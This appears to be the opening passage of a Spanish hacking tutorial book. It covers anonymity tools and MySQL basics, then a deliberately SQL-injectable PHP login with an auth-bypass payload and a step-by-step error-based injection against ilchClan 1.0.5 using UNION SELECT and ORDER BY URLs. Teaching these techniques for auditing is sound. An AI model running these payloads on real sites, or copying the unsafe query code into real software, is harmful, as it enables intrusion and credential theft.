Author: Alvaro J. Gene
Alias: Socket_0x03
Website: www.teraexe.com
Email: [email protected]
© Copyright 2017. Alvaro J. Gene. All rights reserved
El El El El LibroLibroLibroLibro de Teraexede Teraexede Teraexede Teraexe
VersióVersióVersióVersión In In In IIIII
El Libro de Teraexe Alvaro J. Gene
1
TABLA DE CONTENIDO
Introducción .................................................................................................................................................................................................... 2
Glosario de Términos Informáticos ........................................................................................................................................................... 3
Anonimato en Internet ................................................................................................................................................................................... 5
Vulnerabilidades a Nivel de Website .................................................................................................................................................... 7
Inyecciones SQL Basadas en Errores ..................................................................................................................................................... 19
Inyecciones SQL a Ciegas .......................................................................................................................................................................... 43
Inyecciones SQL Basadas en Tiempo ..................................................................................................................................................... 58
Cookie Session Bypass ................................................................................................................................................................................ 64
Inyecciones PHP (Inyecciones Eval) ...................................................................................................................................................... 71
Remote File Inclusion .................................................................................................................................................................................. 75
Remote Command Execution .................................................................................................................................................................... 81
Directory Traversal ....................................................................................................................................................................................... 85
Source Code Disclosure .............................................................................................................................................................................. 89
Script Source Code Disclosure (Local File Disclosure) .................................................................................................................... 92
Cross-Site Scripting (XSS) ........................................................................................................................................................................ 95
Vulnerabilidades a Nivel de Memoria .............................................................................................................................................. 102
Desbordamientos de Memoria ................................................................................................................................................................ 106
Ataques en Formato de Cadena .............................................................................................................................................................. 274
Explotación de Puntero Colgado ............................................................................................................................................................ 277
Desbordamientos de Montículo .............................................................................................................................................................. 281
Desbordamientos de Pila .......................................................................................................................................................................... 282
Explotación de Codificación Segmentada ........................................................................................................................................... 283
Técnicas de Ataques a Nivel de Memoria ....................................................................................................................................... 286
Estrategias de Contra-Ataque .................................................................................................................................................................. 286
Explotación de Sistemas de Seguridad ................................................................................................................................................. 293
Deface Mediante Desbordamientos de Memoria............................................................................................................................... 294
Estrategias de los Firewalls ...................................................................................................................................................................... 295
Explotación de RAT ................................................................................................................................................................................... 297
Herramientas de Hacking: Ataque .................................................................................................................................................... 299
Troyano .......................................................................................................................................................................................................... 299
Keylogger ...................................................................................................................................................................................................... 304
Escaneador de Puertos ............................................................................................................................................................................... 306
Herramientas de Hacking: Defensa .................................................................................................................................................. 307
Network Traffic Monitor .......................................................................................................................................................................... 307
Ultra-Secure Login Panel ......................................................................................................................................................................... 309
Ultra-Secure Radar ..................................................................................................................................................................................... 310
TeraTracker................................................................................................................................................................................................... 311
Conclusión ................................................................................................................................................................................................... 312
El Libro de Teraexe Alvaro J. Gene
2
INTRODUCCIÓN
¡Bienvenido a El Libro de Teraexe! Este libro es para todos aquellos que quieran expandir sus conocimientos en el
campo de la seguridad informática y aprender algunas técnicas relacionadas con el hacking. Como el tutorial fue
diseñado para aquellos informáticos que quieren comenzar a aprender sobre hacking desde cero, al principio del tutorial
se van a encontrar técnicas muy básicas, las cuales son muy fáciles de seguir y no requieren conocimientos en el campo
de la programación (sin embargo, lo ideal es tener una base en PHP y MySQL). Luego, a medida que van pasando las
páginas, el tutorial se va haciendo poco a poco más complejo, hasta llegar al punto en donde se requieren conocimientos
en el campo de la programación; por ejemplo, cuando se entra en el tema de las vulnerabilidades a nivel de memoria, lo
ideal es tener una base en ensamblador y C.
Gracias a El Libro de Teraexe, un informático puede adquirir los conocimientos necesarios para realizar auditorías e
identificar diferentes tipos de vulnerabilidades, incluyendo vulnerabilidades a nivel de website y a nivel de memoria.
En las primeras páginas del tutorial, un informático aprenderá a encontrar y explotar fallos a nivel de website,
incluyendo inyecciones SQL, Remote File Inclusion, Remote Command Execution, y otros bugs por el estilo. Después
de las vulnerabilidades a nivel de website, un informático podría adquirir los conocimientos necesarios para identificar
y explotar las vulnerabilidades a nivel de memoria, incluyendo los desbordamientos de pila, desbordamientos de
montículo, punteros colgados, y otros agujeros de seguridad que se encuentran en la memoria de una aplicación.
El Libro de Teraexe Alvaro J. Gene
3
Glosario de Términos Informáticos
Como este libro está desarrollado para aquellos novatos que están comenzando a aprender sobre seguridad informática
desde cero, voy a explicar (de una forma muy fácil de digerir y sin mucho tecnicismo) algunos de los términos más
comunes que se usan en el campo de la informática y el hacking:
• Aplicación: Una aplicación es un programa de computadora que puede ser utilizado por una persona para lograr X o
Y objetivo. Por ejemplo, un RAT (Remote Administration Tool) es una herramienta de administración remota que
puede ser utilizada por una persona para controlar remotamente otra computadora; en otras palabras, un RAT es
“una aplicación” que puede ser utilizada por un hacker para controlar otras computadoras.
• Internauta: Un internauta es una persona que navega en el internet. El termino en si es una combinación entre las
palabras internet y nauta. Como sabrán, nauta significa marinero o navegante.
• Servidor: En el campo de la informática, se le llama servidor a una computadora/aplicación/dispositivo que brinda
algún tipo de servicio mediante el internet/intranet/red. Por ejemplo, un servidor HTTP contiene páginas web, las
cuales pueden brindar información sobre hacking, hardware, aplicaciones, y mucho más.
• Cliente: En el campo de la informática, se le llama cliente a una computadora/aplicación/persona que se conecta a
un servidor con la finalidad de obtener algún tipo de datos/información/programas.
• Red: Una red está compuesta por un grupo de dispositivos (computadoras, impresoras, celulares, tabletas… etc.)
que pueden comunicarse (transferir datos) mediante direcciones IPs y puertos.
• Dirección IP: La dirección IP es lo que identifica a una computadora en una red. Usualmente, una dirección IP va a
estar compuesta por tres puntos y cuatro campos de una forma similar a la siguiente: 192.168.1.100. Por un lado, se
encuentran las IPs privadas, las cuales identifican a una computadora dentro de una intranet (red LAN); por otro
lado, tenemos las IPs públicas, las cuales identifican a una computadora en el internet. Una dirección IP no
solamente puede ser utilizada para identificar una computadora dentro de la intranet/internet, sino también otros
El Libro de Teraexe Alvaro J. Gene
4
dispositivos electrónicos, incluyendo celulares, portátiles, tabletas, impresoras, televisores, relojes, y otros
dispositivos.
• Puerto: En una red, un puerto es el lugar mediante el cual dos computadoras pueden intercambiar/enviar/recibir
datos, como por ejemplo información textual, imágenes, videos, u otro tipo de datos. Usualmente, ese intercambio
de datos se produce mediante un número de puerto debido a que cada número de puerto se relaciona con el
contenido que una computadora quiere transferir dentro de una red. Por ejemplo, en el internet, una computadora
podría utilizar su dirección IP y un número de puerto para mostrar aquella información que se encuentra dentro de
las páginas web. Si una computadora tiene instalado un servidor HTTP que se encarga de mostrar el contenido de
las páginas web, esa computadora podría utilizar el puerto 80 para mostrar sus websites. Luego, si una computadora
quiere ver el contenido de esos websites, esa computadora puede utilizar un navegador para conectar al puerto 80 y
finalmente ver la información que se encuentra en las páginas web.
• Hacker: En el mundo de la seguridad informática, el termino hacker suele utilizarse para describir a aquella persona
que tiene amplios conocimientos en el campo de la seguridad informática. Una persona con amplios conocimientos
en el campo de la seguridad informática es una persona que sabe encontrar vulnerabilidades, explotar agujeros de
seguridad, programar aplicaciones, asegurar servidores, y mucho más.
• Newbie: En el idioma inglés, newbie significa novato. En el campo del hacking, el termino newbie es usado para
describir a aquella persona que se está iniciando en el campo de la seguridad informática; por ejemplo, un newbie
podría ser una persona que tiene pocos días aprendiendo a encontrar y explotar vulnerabilidades, o un newbie
podría ser una persona que tiene poco tiempo aprendiendo algún lenguaje de programación ya que en un futuro
quiere desarrollar sus propias herramientas de hacking.
• Lamber: El termino lamber se utiliza para describir a una persona con muy pocos conocimientos y experiencia en el
campo del hacking y que al mismo tiempo dice ser hacker cuando realmente carece de las cualidades para serlo. Un
lamber podría ser una persona muy torpe que comete una gran cantidad de errores mientras dice ser hacker.
El Libro de Teraexe Alvaro J. Gene
5
Anonimato en Internet
A medida que el tiempo ha ido pasando, las organizaciones han ido desarrollando técnicas más sofisticadas para
monitorear los pasos de los internautas, especialmente los hackers. Por lo tanto, con el paso de los años, los hackers han
ido desarrollando técnicas y herramientas que hacen más difícil el rastreo de las personas que navegan en el mundo del
internet. En este capítulo, se brindará una pequeña introducción sobre algunos de los métodos y aplicaciones usados por
aquellos que buscan hacer difícil el rastreo de sus pasos:
• Proxy: Un servidor proxy actúa como un intermediario entre el cliente y el servidor. En este caso, el cliente sería la
persona que quiere visitar una página web, y el servidor sería el servidor HTTP que contiene el website que el
internauta desea visitar. Normalmente, cuando un internauta o cliente se conecta directamente a un servidor HTTP,
el servidor HTTP almacena en sus archivos de registros los datos del cliente, incluyendo la dirección IP,
localización, sistema operativo, navegador, y otros datos del cliente. Sin embargo, cuando un internauta se
encuentra usando un proxy, el servidor HTTP almacena los datos del proxy debido a que el servidor proxy es una
computadora que actúa como un intermediario en las conexiones y la transferencia de datos que se producen entre
un cliente (internauta) y un servidor (servidor HTTP).
• The Tor Browser: Anteriormente conocido como the Onion Router. The Tor Browser es un navegador
especialmente desarrollado para hacer difícil el rastreo de los internautas debido a que usa técnicas criptográficas
como el encabezamiento cebolla, también conocido como enrutamiento cebolla. ¿Qué es el enrutamiento cebolla?
En inglés se le llama onion routing. El enrutamiento cebolla es una técnica de criptografía, en el cual se encapsulan
los datos que se van a enviar entre un cliente y un servidor. Como se explicó anteriormente, normalmente y sin
métodos de encriptación, cuando un internauta visita un website que se encuentra dentro de un servidor HTTP, los
datos del internauta quedan dentro de los archivos de registros del servidor HTTP, estos datos pueden incluir la
dirección IP, localización, sistema operativo, navegador, y muchos otros datos personales. Entonces, para evitar que
los datos personales queden registrados en los archivos de registros del servidor HTTP, un internauta puede usar el
El Libro de Teraexe Alvaro J. Gene
6
Tor browser y entrar en una red cebolla. En esa red cebolla, el internauta no conecta directamente con el servidor
HTTP y deja sus datos personales en los archivos de registros; en otras palabras, en una red cebolla, el navegante no
transfiere los datos directamente con el servidor HTTP, en este caso, el internauta encapsula los datos y los envía en
una red donde los datos tienen que pasar por varias computadoras antes de llegar a su destino final, el cual sería el
servidor HTTP. A continuación se presenta un esquema con información básica sobre el funcionamiento de una red
cebolla:
Internauta: José
PC2 PC3 PC4
PC6 PC7 PC8
PC9 PC10 PC11 Servidor HTTP: www.teraexe.com
En el esquema anterior, el internauta José no transfiere sus datos directamente con www.teraexe.com; en esta red
cebolla, José usa una herramienta llamada Tor Browser, el cual se encarga de encapsular y transferir los datos entre PC2
=> PC7 => PC11 antes de ser enviados a su destino final. Como resultado, los archivos de registros de
www.teraexe.com no almacenarán los datos personales de José.
• Red Privada Virtual (RPV): En inglés se le conoce como Virtual Private Network (VPN). En una red privada
virtual, el internauta no se conecta directamente al servidor HTTP para ver el contenido de una página web, sino que
existe una red privada de por medio, la cual se encarga de transferir los datos entre el cliente y el servidor sin que se
produzcan conexiones directas entre el internauta y el servidor HTTP. Como resultado, la dirección IP y
localización de una persona que se encuentra visitando una página web no va a quedar registrada dentro de los
archivos de registros del servidor HTTP.
El Libro de Teraexe Alvaro J. Gene
7
Vulnerabilidades a Nivel de Website
En el campo de la seguridad informática, las vulnerabilidades pueden ser divididas en dos categorías: las
vulnerabilidades a nivel de memoria y las vulnerabilidades a nivel de website. Por un lado, tenemos las
vulnerabilidades a nivel de memoria, las cuales son aquellas que se pueden explotar en la memoria de una aplicación,
como por ejemplo los desbordamientos de memoria (buffer overflow) que vamos a explicar en otros capítulos. Por otro
lado, tenemos las vulnerabilidades a nivel de website, en las cuales un atacante puede utilizar su navegador u otra
herramienta para explotar un agujero de seguridad mediante el website de la víctima.
Dentro de las vulnerabilidades a nivel de website, se encuentran las inyecciones SQL, las cuales permiten a un atacante
inyectar códigos en la URL de un website y posteriormente obtener información sensitiva de la base de datos, como por
ejemplo aquellos nombres de usuarios y passwords que podrían ser utilizados por un atacante para ganar acceso al panel
administrativo de una página web. Usualmente, este agujero de seguridad puede ser explotado en una gran cantidad de
base de datos, sin embargo, en este tutorial, solamente nos enfocaremos en una base de datos que tiene como nombre
MySQL.
Antes de estudiar sobre las inyecciones SQL, lo ideal es tener una base sobre las base de datos. Por lo tanto, primero se
mostrará un diagrama sobre los elementos de una base de datos; de esta forma, el lector va a reconocer visualmente
cómo está compuesta una base de datos. En otras palabras, gracias al diagrama que se mostrará más adelante, una
persona va a tener una idea visual sobre la localización de las tablas, columnas, filas, celdas, usernames, passwords, y
otras partes que forman una base de datos. Luego, después de mostrar el diagrama de una base de datos, se brindará una
pequeña introducción sobre los comandos o sentencias más importantes que utilizan las bases de datos.
El Libro de Teraexe Alvaro J. Gene
8
Elementos de una Base de Datos
Como pueden ver en el diagrama anterior, una base de datos está compuesta por una o varias tablas. Cada tabla, puede
estar compuesta por una o varias columnas, las cuales son conocidas como campos. Aparte de los campos o columnas,
una tabla también puede contener una o varias filas, las cuales son conocidas como registros. Cada fila o registro, puede
contener una o varias celdas, las cuales pueden contener información valiosa, como por ejemplo nombres de usuarios y
passwords. Aunque esta parte puede resultar un poco tediosa o aburrida, poco a poco nos vamos acercando a la parte
interesante, la cual consiste en aplicar técnicas de inyecciones SQL para obtener los nombres de usuarios y passwords
de una base de datos.
Ya que se mostró un diagrama sobre los elementos de una base de datos, ahora vamos a brindar una pequeña
introducción sobre los comandos o sentencias más importantes que utilizan las bases de datos.
El Libro de Teraexe Alvaro J. Gene
9
Sentencias de MySQL
1) La Sentencia INSERT: Cuando un administrador quiere añadir información a la base de datos, él/ella puede utilizar
la sentencia INSERT. Para demostrar el funcionamiento de la sentencia INSERT y familiarizarnos con ese
comando, vamos a descargar e instalar MySQL en una computadora; luego, vamos a ejecutar la línea de comandos
de MySQL. Al ejecutar la línea de comandos de MySQL e insertar el password que introducimos en la instalación
de MySQL, vamos a ver una pantalla similar a la siguiente:
En la línea de comandos de MySQL, vamos a crear una base de datos, la cual tendrá una tabla y tres columnas. Para
crear nuestra base de datos, vamos a seguir los siguientes tres pasos:
Primero, creamos una base de datos de nombre AGene_DB escribiendo la siguiente línea de código:
create database AGene_DB;
Después de escribir la línea de código anterior, presionamos la tecla Enter.
Segundo, le decimos a MySQL que vamos a utilizar la base de datos AGene_DB. Para eso escribimos lo siguiente:
use AGene_DB
Después de escribir la línea de código anterior, presionamos la tecla Enter.
Tercero, le enviamos el siguiente comando a MySQL para crear una tabla y tres columnas:
CREATE TABLE AGene_Tabla ( AG_Columna_A varchar(23) NOT NULL, AG_Columna_B varchar(23) NOT NULL, AG_Columna_C varchar(23) NOT NULL );
Después de escribir los códigos anteriores, presionamos la tecla Enter.
El Libro de Teraexe Alvaro J. Gene
10
Luego, después de completar los tres pasos anteriores, veremos los siguientes resultados:
Finalmente, usaremos la sentencia INSERT para añadir unos valores a nuestra base de datos:
INSERT INTO AGene_Tabla (AG_Columna_A, AG_Columna_B, AG_Columna_C) VALUES ('5', '20', '86');
Después de escribir la línea de código anterior, presionamos la tecla Enter.
En los siguientes pasos, verificaremos que los datos fueron añadidos correctamente mediante la sentencia SELECT.
2) La Sentencia SELECT: Un administrador puede utilizar la sentencia SELECT cuando él/ella quiere seleccionar
información de una tabla que se encuentra dentro de una base de datos; por ejemplo, un administrador podría
utilizar la sentencia SELECT para seleccionar la columna de una tabla y posteriormente mostrar el valor que se
encuentra dentro de esa columna. En el paso anterior, usamos la sentencia INSERT para añadir unos valores a la
base de datos; en este segundo paso, usaremos la sentencia SELECT para mostrar los valores que se encuentran
dentro de una base de datos. En otras palabras, en este paso, usaremos la sentencia SELECT para seleccionar las
columnas de una tabla y mostrar los valores que se encuentran dentro de esas columnas.
En la línea de comandos de MySQL, usaremos la sentencia SELECT tres veces:
Primero, añadimos el siguiente código en la línea de comandos de MySQL:
SELECT AG_Columna_A from AGene_Tabla;
El Libro de Teraexe Alvaro J. Gene
11
Después de escribir la línea de código anterior, presionamos la tecla Enter.
Secundo, añadimos el siguiente código en la línea de comandos de MySQL:
SELECT AG_Columna_B from AGene_Tabla;
Después de escribir la línea de código anterior, presionamos la tecla Enter.
Tercero, añadimos el siguiente código en la línea de comandos de MySQL:
SELECT AG_Columna_C from AGene_Tabla;
Después de escribir la línea de código anterior, presionamos la tecla Enter.
Luego, después de usar la sentencia SELECT tres veces, obtendremos un resultado similar al siguiente:
3) La Sentencia UPDATE: Cuando un administrador quiere actualizar información de la base de datos, él/ella puede
usar la sentencia UPDATE. Por ejemplo, en la línea de comandos de MySQL, colocaremos el siguiente código:
UPDATE AGene_Tabla SET AG_Columna_A='23' WHERE AG_Columna_B='20';
Después de escribir la línea de código anterior, presionamos la tecla Enter.
El Libro de Teraexe Alvaro J. Gene
12
Luego, después de usar la sentencia UPDATE y teclear Enter, veremos el siguiente resultado:
Para verificar que los cambios fueron relizados correctamente, podemos utilizar la sentencia SELECT:
4) La Sentencia DELETE: Cuando un administrador quiere eliminar información de la base de datos, él/ella puede
usar la sentencia DELETE. En otras palabras, cuando una persona quiere eliminar la fila de una tabla, él/ella puede
utilizar la sentencia DELETE. En el paso anterior, nos damos cuenta que tenemos la tabla AGene_Tabla, la cual
contiene una fila con los siguientes valores: 23, 20, y 86. En el siguiente ejemplo, usaremos la sentencia DELETE
para eliminar la fila que contiene los valores 23, 20, y 86:
DELETE FROM AGene_Tabla WHERE AG_Columna_C='86';
En la línea de comandos de MySQL, después de usar la sentencia DELETE para eliminar los valores de una fila,
podemos verificar que su funcionamiento fue efectivo mediante la sentencia SELECT:
El Libro de Teraexe Alvaro J. Gene
13
MySQL – Desarrollando una Aplicación Vulnerable a las Inyecciones SQL
En esta sección, vamos a desarrollar una aplicación vulnerable a las inyecciones SQL:
Archivo: Index.php
<html>
<!-- Creando un formulario de HTML -->
<form name="form1" method="post" action="AGene_Validacion.php">
<!-- Creando un campo para que el cliente coloque su nombre de usuario: -->
<p> Username: <input name="AGene_User" type="text" id="AGene_User">
<!-- Creando un campo para que el cliente coloque su clave: -->
Password: <input name="AGene_Pass" type="text" id="AGene_Pass">
<!-- Creando un botón para que el cliente envíe los datos a otra web: -->
<input class="AG_Button" type="submit" name="Submit" value="Login">
</form>
</html>
Archivo: AGene_Validacion.php
<?php
//Creando cuatro variables para conectar a una base de datos:
$AG_Host = "localhost";
$AG_Database_Username = "root";
$AG_Database_Password = "30303030";
$AG_Database = "AGene_SQLi_Lab";
//Usando mysql_connect para conectar a una base de datos:
mysql_connect($AG_Host, $AG_Database_Username, $AG_Database_Password);
//Usando mysql_select_db para seleccionar una base de datos:
mysql_select_db($AG_Database);
//Almacenando el nombre de usuario en una variable:
$AGene_User = $_POST['AGene_User'];
//Almacenando la clave en una variable:
$AGene_Pass = $_POST['AGene_Pass'];
//La consulta que se enviará a la base de datos:
$AG_Result = mysql_query("SELECT * FROM AGene_Tabla
WHERE AG_Username='$AGene_User'
and AG_Password='$AGene_Pass'");
El Libro de Teraexe Alvaro J. Gene
14
$AGene_Counting_NR = mysql_num_rows($AG_Result);
if($AGene_Counting_NR == 1)
{
session_register("AGene_User") .
session_register("AGene_Pass") .
header("location:AGene_Panel_Administrativo.php");
}
else
{
print("Acceso Denegado.");
}
?>
Archivo: AGene_Panel_Administrativo.php
<?php
//Creando una sesión:
session_start();
if (!isset( $_SESSION['AGene_User']))
{
/*Si una persona intenta entrar directamente a este archivo, él/ella verá
el siguiente mensaje:*/
print "Acceso Denegado.";
}
else
{
/*Si el nombre de usuario y password es correcto, la aplicación ejecutará
la siguiente línea de código:*/
print "Acceso Concedido.";
}
?>
El Libro de Teraexe Alvaro J. Gene
15
Base de Datos MySQL
create database AGene_SQLi_Lab; use AGene_SQLi_Lab CREATE TABLE AGene_Tabla ( id int NOT NULL AUTO_INCREMENT, AG_Username varchar(23) NOT NULL, AG_Password varchar(23) NOT NULL, PRIMARY KEY (id) ); INSERT INTO AGene_Tabla (id, AG_Username, AG_Password) VALUES ('1', 'Alvaro', 'Teraexe');
Después de seguir los pasos anteriores para crear la base de datos, la línea de comandos de MySQL se verá de una
forma similar a la siguiente:
El Libro de Teraexe Alvaro J. Gene
16
MySQL – Explotando una Vulnerabilidad de Inyección SQL Básica
Colocando un Password Erróneo:
Explotando una Vulnerabilidad de Inyección SQL:
El Libro de Teraexe Alvaro J. Gene
17
Usando el nombre de usuario y password correcto:
En la línea de comandos de MySQL, vamos a hacer lo siguiente:
Primero, vamos a escribir el siguiente código en la línea de comandos de MySQL:
use AGene_SQLi_Lab
Después de escribir la línea de código anterior, presionamos la tecla Enter.
Segundo, vamos a escribir el siguiente código en la línea de comandos de MySQL:
SELECT * FROM AGene_Tabla WHERE AG_Username='Socket_0x03' and AG_Password='Tera';
Después de escribir la línea de código anterior, presionamos la tecla Enter.
Tercero, vamos a escribir el siguiente código en la línea de comandos de MySQL:
SELECT * FROM AGene_Tabla WHERE AG_Username='Hacker'' and AG_Password=''G'='G';
Después de escribir la línea de código anterior, presionamos la tecla Enter.
Cuarto, vamos a escribir el siguiente código en la línea de comandos de MySQL:
SELECT * FROM AGene_Tabla WHERE AG_Username='Alvaro' and AG_Password='Teraexe';
Después de escribir la línea de código anterior, presionamos la tecla Enter.
El Libro de Teraexe Alvaro J. Gene
18
Después de completar los cuatro pasos anteriores, obtendremos un resultado similar al siguiente:
Como se puede notar en los dos últimos pasos, MySQL nos devolvió el username y password.
En el programa de PHP anterior, el código que es vulnerable a las inyecciones SQL es el siguiente:
$AG_Result = mysql_query("SELECT * FROM AGene_Tabla
WHERE AG_Username='$AGene_User'
and AG_Password='$AGene_Pass'");
El código es vulnerable porque las variables $AGene_User y $AGene_Pass se añaden directamente en la consulta de
MySQL sin utilizar ningún sistema de filtración o protección, un atacante puede sacar provecho de esas variables y
ganar acceso al panel administrativo. En la actualidad no es necesario añadir una gran cantidad de códigos para filtrar
esas variables, hoy en día una solución rápida y eficaz sería usar PDO.
El Libro de Teraexe Alvaro J. Gene
19
MySQL – Inyecciones SQL Basada en Errores
Parte 1: Tecnologías para Examinar la Vulnerabilidad
En esta sección, vamos a instalar una aplicación vulnerable a las inyecciones SQL, la cual tiene como nombre ilchClan.
Las tecnologías utilizadas para examinar la vulnerabilidad son las siguientes:
1) Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
2) Servidor HTTP: IIS 5.1
3) Lenguaje de Programación: PHP: 5.2.1
4) Base de Datos: MySQL: 5.0.37
5) Nombre de la Aplicación Vulnerable: ilchClan 1.0.5
Por compatibilidad y medidas de seguridad (en el campo de la seguridad informática, las medidas de seguridad pueden
interferir en la auditoría de vulnerabilidades; por ejemplo, una versión actual de una base de datos podría hacer que
alguna vulnerabilidad no se pueda explotar), lo ideal es examinar la vulnerabilidad usando las tecnologías anteriores,
especialmente el servidor HTTP de la versión 5.1 debido a que una versión más reciente o actual podría traer fallos en la
instalación de la aplicación ilchClan. Aparte de la versión del servidor HTTP, lo ideal es examinar la aplicación en la
misma versión de PHP y MySQL para evitar fallos de compatibilidad y/o funciones; por ejemplo, una nueva versión de
PHP podría hacer que X o Y función deje de funcionar debido a las medidas de seguridad que podrían hacer que una
función sea obsoleta.
Aparte de usar las tecnologías anteriores, como se va a trabajar con direcciones IPs y números de puertos, es
recomendable desactivar el firewall o configurarlo adecuadamente.
Una vez que ilchClan se encuentre instalado y corriendo en el servidor HTTP, entonces podemos proceder a explotar la
vulnerabilidad.
El Libro de Teraexe Alvaro J. Gene
20
Parte 2: Bienvenido a ilchClan
Al abrir ilchClan, vamos a ver una pantalla similar a la siguiente:
Una vez que abrimos la pantalla principal, le damos click a Downloads y notaremos la siguiente URL:
http://192.168.1.102/index.php?m=downloads
El Libro de Teraexe Alvaro J. Gene
21
Parte 3: Buscando Parámetros Vulnerables
Cuando una persona quiere explotar una vulnerabilidad de inyección SQL basadas en errores, él/ella debe enfocarse en
identificar aquellos parámetros que pueden aceptar consultas mediante la URL de un navegador. En otras palabras, para
explotar un bug de inyección SQL, en la URL de un navegador, un atacante debe enfocarse en aquellos parámetros que
pueden ser utilizados para enviar consultas a la base de datos MySQL. A continuación se muestra en rojo una lista de
los parámetros más comunes que suelen aceptar consultas SQL:
http://www.website.com/index.php?id=
http://www.website.com/index.php?cid=
http://www.website.com/index.php?catid=
http://www.website.com/index.php?kat=
http://www.tienda.com/buy.php?category=
En la aplicación ilchClan, vamos a examinar el parámetro cid. Para saber si el parámetro cid es vulnerable, primero
vamos a añadir los siguientes dígitos: 1, -2, 99999999. Este es un ejemplo de cómo quedaría la URL del navegador si se
le añaden los dígitos que se nombraron anteriormente:
URL: http://192.168.1.102/index.php?m=downloads&cid=1
URL: http://192.168.1.102/index.php?m=downloads&cid=-2
URL: http://192.168.1.102/index.php?m=downloads&cid=99999999
Como resultado, dentro de la página web, la base de datos MySQL no va a mostrar ningún error:
El Libro de Teraexe Alvaro J. Gene
22
Luego, en la URL del navegador, vamos a añadir un apóstrofo (') seguido de un dígito. Como resultado, la base de datos
MySQL va a mostrar unos errores:
URL: http://192.168.1.102/index.php?m=downloads&cid='1
Error de la consulta SQL:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in
C:\http\include\includes\function\db\mysql.php on line 48
Al añadir el apóstrofo (') al parámetro cid, estamos enviando una consulta SQL errónea a nuestra base de datos MySQL;
por lo tanto, la base de datos nos devuelve un error o warning.
Si la base de datos muestra uno o varios errores, entonces existe la posibilidad de una vulnerabilidad de inyección SQL.
Para saber si un website es vulnerable, un atacante debe continuar con los pasos que se mostrarán más adelante.
El Libro de Teraexe Alvaro J. Gene
23
Parte 4: Sacando el Número de Columnas o Campos Vulnerables mediante UNION y SELECT
Después de detectar una posible vulnerabilidad de inyección SQL, el siguiente paso consiste en sacar el número de
columnas vulnerables (no las columnas de una base de datos, sino las columnas o dígitos que se encuentran en la URL
del navegador. En el futuro, esos dígitos o números serán reemplazados por comandos que llegarán a la base de datos
MySQL y mostrarán información en la página web) mediante las sentencias UNION y SELECT. En esta sección, no
nos enfocaremos mucho en los errores que mostrará la base de datos MySQL, sino más bien en aquellos números que se
van a incluir dentro de la página web. A continuación se muestra la técnica para sacar las columnas o campos
vulnerables:
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1
Resultado: Negativo
En el resultado anterior, la página web muestra errores; en otras palabras, en el resultado anterior, la base de datos
MySQL muestra los tres mismos errores que mostró cuando se le incluyó el apóstrofo ('), lo que significa que tenemos
un resultado negativo y la primera columna o el primer campo no es vulnerable. Por lo tanto, vamos a añadir más
dígitos para ver si encontramos un campo vulnerable que acepte consultas SQL.
El Libro de Teraexe Alvaro J. Gene
24
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2
Resultado: Positivo
En el resultado anterior, la base de datos MySQL no muestra uno de los tres errores y ha incluido uno de los dígitos
dentro del website, lo que significa que tenemos un campo que está aceptando consultas SQL. En un futuro, ese campo
vulnerable lo usaremos para extraer información sensitiva de la base de datos, como por ejemplo la versión de MySQL
y otros datos valiosos.
En un ataque de inyección SQL, se nos puede presentar un escenario similar al siguiente:
1. Primero, la página web solamente muestra un error cuando el atacante incluye el apóstrofo (') en la URL del
navegador.
2. Luego, cuando el atacante busca una columna o campo vulnerable, la base de datos no muestra ningún error en la
página web y muestra el dígito que el atacante colocó en la URL del navegador.
Antes de extraer información de la base de datos, vamos a continuar buscando columnas o campos vulnerables.
El Libro de Teraexe Alvaro J. Gene
25
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3
Resultado: Positivo
Similar al caso anterior, la base de datos MySQL no muestra uno de los tres errores en la página web e incluye el
número tres dentro del website, lo que significa que tenemos otro campo o columna vulnerable, la cual la podemos
utilizar para extraer información sensitiva de la base de datos. Antes de usar el segundo y tercer campo para extraer
información de la base de datos, vamos a continuar buscando columnas vulnerables.
El Libro de Teraexe Alvaro J. Gene
26
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4
Resultado: Negativo
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5
Resultado: Negativo
El Libro de Teraexe Alvaro J. Gene
27
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,6
Resultado: Positivo
Mediante el resultado anterior, ya tenemos la tercera columna vulnerable, el cual es el sexto campo. En el futuro,
usaremos el sexto campo para extraer información de la base de datos. En total tenemos los siguientes campos para
extraer información de MySQL: segundo, tercero, y sexto.
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,6,7
Resultado: Negativo
El Libro de Teraexe Alvaro J. Gene
28
Parte 5: Sacando el Número de Columnas o Campos Vulnerables mediante ORDER BY
En estos casos, si MySQL muestra un error, entonces significa que tenemos un resultado positivo y la columna anterior
es vulnerable; por ejemplo, si el dígito que va al final es 3 y la base de datos muestra error, entonces significa que
tenemos un resultado positivo y la columna número 2 es vulnerable. En total obtendremos tres errores porque tenemos
tres columnas o campos vulnerables.
URL: http://192.168.1.102/index.php?m=downloads&cid=1 order by 1
Resultado: Negativo
URL: http://192.168.1.102/index.php?m=downloads&cid=1 order by 2
Resultado: Negativo
El Libro de Teraexe Alvaro J. Gene
29
URL: http://192.168.1.102/index.php?m=downloads&cid=1 order by 3
Resultado: Positivo (segundo campo vulnerable; en otras palabras, segunda columna vulnerable)
URL: http://192.168.1.102/index.php?m=downloads&cid=1 order by 4
Resultado: Positivo (tercer campo vulnerable; en otras palabras, tercera columna vulnerable)
El Libro de Teraexe Alvaro J. Gene
30
URL: http://192.168.1.102/index.php?m=downloads&cid=1 order by 5
Resultado: Negativo
URL: http://192.168.1.102/index.php?m=downloads&cid=1 order by 6
Resultado: Negativo
El Libro de Teraexe Alvaro J. Gene
31
URL: http://192.168.1.102/index.php?m=downloads&cid=1 order by 7
Resultado: Positivo (sexto campo vulnerable)
Mediante los resultados anteriores, sabemos que tenemos tres columnas o campos vulnerables: 2, 3, y 6.
El Libro de Teraexe Alvaro J. Gene
32
Parte 6: Obteniendo Información Básica mediante UNION y SELECT
Mediante los resultados obtenidos en la parte 4 y 5, nos dimos cuenta que tenemos tres columnas o campos vulnerables
(2, 3, y 6); en otras palabras, mediante los resultados anteriores, nos dimos cuenta que podemos utilizar tres columnas o
campos para enviar consultas SQL a la base de datos MySQL. En esta sección, usaremos los campos 2, 3, y 6 para
enviar consultas a la base de datos y extraer información valiosa, como por ejemplo el nombre de la base de datos, el
